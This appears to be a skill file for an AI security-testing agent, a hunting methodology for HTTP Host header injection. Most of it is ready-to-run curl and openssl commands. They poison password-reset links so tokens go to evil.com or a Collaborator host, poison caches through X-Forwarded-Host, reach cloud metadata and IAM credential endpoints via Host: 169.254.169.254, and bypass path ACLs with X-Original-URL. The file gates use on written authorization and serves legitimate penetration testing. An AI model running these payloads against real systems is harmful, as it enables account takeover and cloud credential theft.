Hunt Host Header

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-HOST-HEADER — Host Header Injection

Grounding / Provenance

This skill is built from the public Host-header attack literature, not invented payloads. Cite the technique source in your report, never a fabricated ID:

• Password-reset poisoning class — the canonical write-up is Skelet's/Detectify-era "Practical HTTP Host header attacks" (the Django request.get_host() → password-reset-link case). Many frameworks built the reset URL from the request Host with no ALLOWED_HOSTS-style allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
• Web cache poisoning via unkeyed Host / X-Forwarded-Host — PortSwigger Research, James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020). These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
• Routing-based SSRF — PortSwigger Research, "Cracking the lens" / routing-based SSRF (Host header steers the front-end's upstream selection).

When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT on a fresh key, OOB hit from your Collaborator). Do not copy a CVE or H1 ID you have not verified — a missing citation is always better than a wrong one.

Crown Jewel Targets

Host header injection that reaches password reset links = Critical (ATO for any user).

Highest-value chains:

• Password reset poisoning → ATO — server builds the reset link from the request Host; attacker sets Host: evil.com; the victim's reset email points the token at the attacker → token captured on click → full ATO. Pre-account-takeover variant: even the victim requesting their own reset leaks the token to evil.com.
• Web cache poisoning via unkeyed Host — a CDN/reverse proxy caches a response that reflects an attacker X-Forwarded-Host into an absolute URL (script src, link, redirect) → poisoned entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
• Routing-based SSRF — the front-end uses the Host header itself to pick the upstream; Host: 169.254.169.254 (or an internal hostname) makes it forward your request to that target → cloud metadata / internal admin panels.
• Path-override SSRF / ACL bypass — IIS/ASP.NET/Spring honour X-Original-URL / X-Rewrite-URL to override the routed path → reach /admin or internal endpoints the edge ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
• OAuth/OIDC poisoning — Host drives redirect_uri or the OIDC issuer / discovery doc → auth-code or token theft → ATO.

Attack Surface Signals

Any password reset / forgot-password / email-verification / invite endpoint
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
Email-sending endpoints (transactional mail, notifications)
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)

Dangerous header candidates (unkeyed / trusted inputs):

Host                 X-Forwarded-Host      X-Host
X-Forwarded-Server   X-HTTP-Host-Override  Forwarded
X-Original-URL       X-Rewrite-URL         X-Override-URL   (path-override class)

Step-by-Step Hunting Methodology

Always test against your own registered test account. Never request another user's reset.

Phase 1 — Password Reset Poisoning

# 1a. Override Host directly
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: evil.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"your-test-account@target.com"}'

# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1c. Host + X-Forwarded-Host combo, and X-Host
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET" -H "X-Host: evil.com" \
  -d "email=your-test-account@target.com"

# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
  | openssl s_client -quiet -connect $TARGET:443 2>/dev/null

# 1e. Absolute-URL injection: keep real Host, append attacker host so the
#     reset link becomes https://TARGET.evil.com/... or routes the token out
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"

# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
curl -s -X POST https://$TARGET/forgot-password \
  -H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"

Confirm: open the reset email in your own test inbox and read the link host. The token must appear under an attacker-controlled host (evil.com, $TARGET.evil.com, or a Collaborator domain) for this to be a real finding. Use a Burp Collaborator domain as the injected host so that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and have proof — see Validation.

Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host

Mechanism: this is a reflection bug, not an OOB bug. The injected host must be reflected into the response body (an absolute URL, script src, <link href>, <base href>, redirect Location, or canonical/og:url) and that response must be cached on a key you do not control. No Collaborator callback is expected from the cache test itself — only later, if a victim's browser loads the poisoned absolute URL.

# 2a. Is the host reflected into the body?
curl -s https://$TARGET/ \
  -H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
  | grep -i "canary"

# 2b. Is the response cacheable, and what is the cache key?
curl -sI "https://$TARGET/?cb=$RANDOM" \
  | grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
#   Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
#   Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.

# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
URL="https://$TARGET/?cb=poison$RANDOM"
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null   # poison
curl -s "$URL" | grep -i "evilcdn.example"                        # clean victim view → reflected = POISONED

False-positive killers (mandatory):

• A reflection that only ever appears for your request (because the header is keyed, e.g. in Vary, or the CDN includes Host in the key) is not poisoning — confirm 2c returns the payload on a request that omits the header.
• Age: 0 + MISS every time → no shared cache → no mass impact. Demote to self-only / Low.
• Confirm blast radius from a second machine / fresh egress IP / incognito before claiming "mass". Cache scope is often per-edge / per-cookie / per-geo.

Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)

These operate at different layers. Test them separately; they do not compose into one request.

(3A) Routing-based SSRF — the Host header selects the upstream. The path goes on the request line, exactly as a normal request, because the metadata service / internal host serves plain HTTP and only sees the request line + headers you forward. X-Original-URL is irrelevant here — the EC2 IMDS ignores it.

# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
curl -s "https://$TARGET/latest/meta-data/iam/security-credentials/" -H "Host: 169.254.169.254"

# GCP / Azure equivalents (still routing via Host):
curl -s "https://$TARGET/computeMetadata/v1/" \
  -H "Host: metadata.google.internal" -H "Metadata-Flavor: Google"
curl -s "https://$TARGET/metadata/instance?api-version=2021-02-01" \
  -H "Host: 169.254.169.254" -H "Metadata: true"

# Internal hostname / port routing:
curl -s "https://$TARGET/" -H "Host: localhost:6379"   # Redis behind the proxy
curl -s "https://$TARGET/" -H "Host: internal-admin.svc.cluster.local"

# Blind / no reflection? Point the Host at a Collaborator subdomain and watch for the
# proxy's outbound DNS/HTTP lookup — that proves the front-end resolves the attacker host.
curl -s "https://$TARGET/" -H "Host: $COLLAB"

(3B) Path-override SSRF / ACL bypass — X-Original-URL / X-Rewrite-URL. This is an IIS/ASP.NET/Spring-Cloud-Gateway feature where the app overrides the routed path. The real Host stays put; you are bypassing an edge path ACL, not steering an upstream. Keep the real Host.

# Reach an internal/blocked path the edge thought it denied. Real Host stays.
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Original-URL: /admin"
curl -s "https://$TARGET/" -H "Host: $TARGET" -H "X-Rewrite-URL: /internal/metrics"
# Diff against a direct GET /admin (which the edge blocks) — a different status/body proves override.

The old probe Host: 169.254.169.254 + X-Original-URL: /latest/meta-data/ was wrong: those two headers act at different layers and never compose. Use 3A for metadata, 3B for ACL bypass.